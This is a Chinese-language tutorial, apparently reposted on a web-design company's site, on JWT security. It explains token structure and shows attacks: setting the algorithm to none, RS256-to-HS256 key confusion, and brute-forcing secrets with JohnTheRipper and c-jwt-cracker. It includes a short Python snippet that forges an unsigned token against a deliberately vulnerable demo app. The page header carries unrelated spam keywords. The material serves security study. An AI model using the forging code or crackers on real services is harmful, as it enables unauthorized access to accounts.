真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

JWT安全怎么配置

本文小編為大家詳細(xì)介紹“JWT安全怎么配置”,內(nèi)容詳細(xì),步驟清晰,細(xì)節(jié)處理妥當(dāng),希望這篇“JWT安全怎么配置”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學(xué)習(xí)新知識吧。

為萍鄉(xiāng)等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計制作服務(wù),及萍鄉(xiāng)網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè)、萍鄉(xiāng)網(wǎng)站設(shè)計,以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會得到認(rèn)可,從而選擇與我們長期合作。這樣,我們也可以走得更遠(yuǎn)!

用戶認(rèn)證的方式通常有兩種,傳統(tǒng)的session認(rèn)證 和 基于token方式。

傳統(tǒng)的session認(rèn)證的缺陷

傳統(tǒng)的session認(rèn)證,隨著不同客戶端用戶的增加,獨立的服務(wù)器已無法承載更多的用戶,而這時候基于session認(rèn)證應(yīng)用的問題就會暴露出來.例如而隨著認(rèn)證用戶的增多,服務(wù)端的開銷會明顯增大,這樣在分布式的應(yīng)用上,相應(yīng)的限制了負(fù)載均衡器的能力,因為是基于cookie來進行用戶識別的, cookie如果被截獲,用戶就會很容易受到跨站請求偽造的攻擊。

基于token的鑒權(quán)機制

基于token的鑒權(quán)機制類似于http協(xié)議也是無狀態(tài)的,它不需要在服務(wù)端去保留用戶的認(rèn)證信息或者會話信息。這就意味著基于token認(rèn)證機制的應(yīng)用不需要去考慮用戶在哪一臺服務(wù)器登錄了,這就為應(yīng)用的擴展提供了便利。

2定義

JWT(JSON Web Token) 是一個非常輕巧的規(guī)范,通過這個規(guī)范,可以傳遞可靠的安全信息,JWT常被用于前后端分離,可以和Restful API配合使用,常用于構(gòu)建身份認(rèn)證機制。

Json web token (JWT), 是為了在網(wǎng)絡(luò)應(yīng)用環(huán)境間傳遞聲明而執(zhí)行的一種基于JSON的開放標(biāo)準(zhǔn)((RFC 7519).該token被設(shè)計為緊湊且安全的,特別適用于分布式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務(wù)提供者間傳遞被認(rèn)證的用戶身份信息,以便于從資源服務(wù)器獲取資源,也可以增加一些額外的其它業(yè)務(wù)邏輯所必須的聲明信息,該token也可直接被用于認(rèn)證,也可被加密。

3組成

一個字符串由頭部,載荷,簽名三部分組成。

  1. 頭部(Header)用于描述JWT的最基本的信息,其所用的簽名與算法類似這樣{  "typ": "JWT",  "alg": "HS256"}通過base64 編碼之后,形成頭部

  2. 載荷(Payload)也是json形式的,官方定義的有如下六個部分{    "sub": "1",  //該JWT所面向的用戶    "iss": "http://localhost:8000/auth/login",  //該JWT的簽發(fā)者      "iat": , //iat(issued at): 在什么時候簽發(fā)的token    "exp": ,  //exp(expires): token什么時候過期    "nbf": , //nbf(not before):token在此時間之前不能被接收處理    "jti": ""  //JWT ID為web token提供唯一標(biāo)識}當(dāng)然,開發(fā)者可以定義自己使用的數(shù)據(jù)。以上json數(shù)據(jù)base64編碼之后,形成載荷。

  3. 簽名將上面的兩個編碼后的字符串都用句號.連接在一起 提供一個密鑰(secret)用頭部所規(guī)定的算法加密就可以形成一個新的字符串同樣,需要base64編碼

以上將三個部分用 .拼接在一起,就形成了一個完整的JWT令牌

可上面介紹了那么多,大家依然不知道JWT到底是干嘛的,稍微介紹一下JWT的驗證方式方式,大家應(yīng)該就應(yīng)該會對JWT的運用有所了解了

服務(wù)器應(yīng)用在接受到JWT后,會首先對頭部和載荷的內(nèi)容用同一算法再次簽名。如果服務(wù)器應(yīng)用對頭部和載荷再次以同樣方法簽名之后發(fā)現(xiàn),自己計算出來的簽名和接受到的簽名不一樣,那么就說明這個Token的內(nèi)容被別人動過的,我們應(yīng)該拒絕這個Token

JWT安全問題分析

上面說了JWT的組成,我們的目的是研究其安全性既然這是一個驗證的機制,那么安全問題主要就是非授權(quán)訪問,也就是說要繞過這種驗證機制,已知其結(jié)構(gòu),數(shù)據(jù)一般也是存在本地端,我們唯一不知道的就是加密算法的密鑰,這樣說來,有如下幾種安全問題。

1修改算法為none

修改算法有兩種修改的方式其中一種就是將算法就該為none

后端若是支持none算法

header中的alg字段可被修改為none

去掉JWT中的signature數(shù)據(jù)(僅剩header + '.' + payload + '.') 然后直接提交到服務(wù)端去

2修改算法RS256為HS256

RS256是非對稱加密算法,HS是對稱加密算法

如果jwt內(nèi)部的函數(shù)支持的RS256算法,又同時支持HS256算法

如果已知公鑰的話,將算法改成HS256,然后后端就會用這個公鑰當(dāng)作密鑰來加密

3信息泄露

JWT是以base64編碼傳輸?shù)?,雖然密鑰不可見,但是其數(shù)據(jù)記本上是明文傳輸?shù)?,如果傳輸了重要的?nèi)容,可以base64解碼然后獲取其重要的信息。

4爆破密鑰

原理就是,如果密鑰比較短的話,已知加密算法,通過暴力破解的方式,可以得到其密鑰。

漏洞環(huán)境搭建

搭建方式

我搭建的環(huán)境為php7

安裝了composer

直接用如下的命令進行搭建漏洞環(huán)境

git clone https://github.com/Sjord/jwtdemo/

cd jwtdemo

composer install

php -S 0.0.0.0:8000 -t public

然后直接訪問

127.0.0.1:8000/hs256.php

環(huán)境就搭建成功了。

payload如下

def b64urlencode(data):

return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \

'.' + b64urlencode("{\"data\":\"test\"}") + '.'

通過如上代碼,可以構(gòu)造任意的密鑰為none的paylaod,從而繞過后端的檢查,修改與RS256的方法與此類似,不再贅述。

相關(guān)工具

1JohnTheRipper

在爆破JWT的時候,可以用如下如下工具

https://github.com/magnumripper/JohnTheRipper

使用的方法如下

git clone https://github.com/magnumripper/JohnTheRipper

cd JohnTheRipper/src

./configure

make -s clean && make -sj4

cd ../run

./john jwt.txt

2c-jwt-cracker

C語言的破解工具

https://github.com/brendan-rius/c-jwt-cracker

使用方法如下

make

make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

讀到這里,這篇“JWT安全怎么配置”文章已經(jīng)介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領(lǐng)會,如果想了解更多相關(guān)內(nèi)容的文章,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


分享文章:JWT安全怎么配置
網(wǎng)頁地址:http://weahome.cn/article/jpdics.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部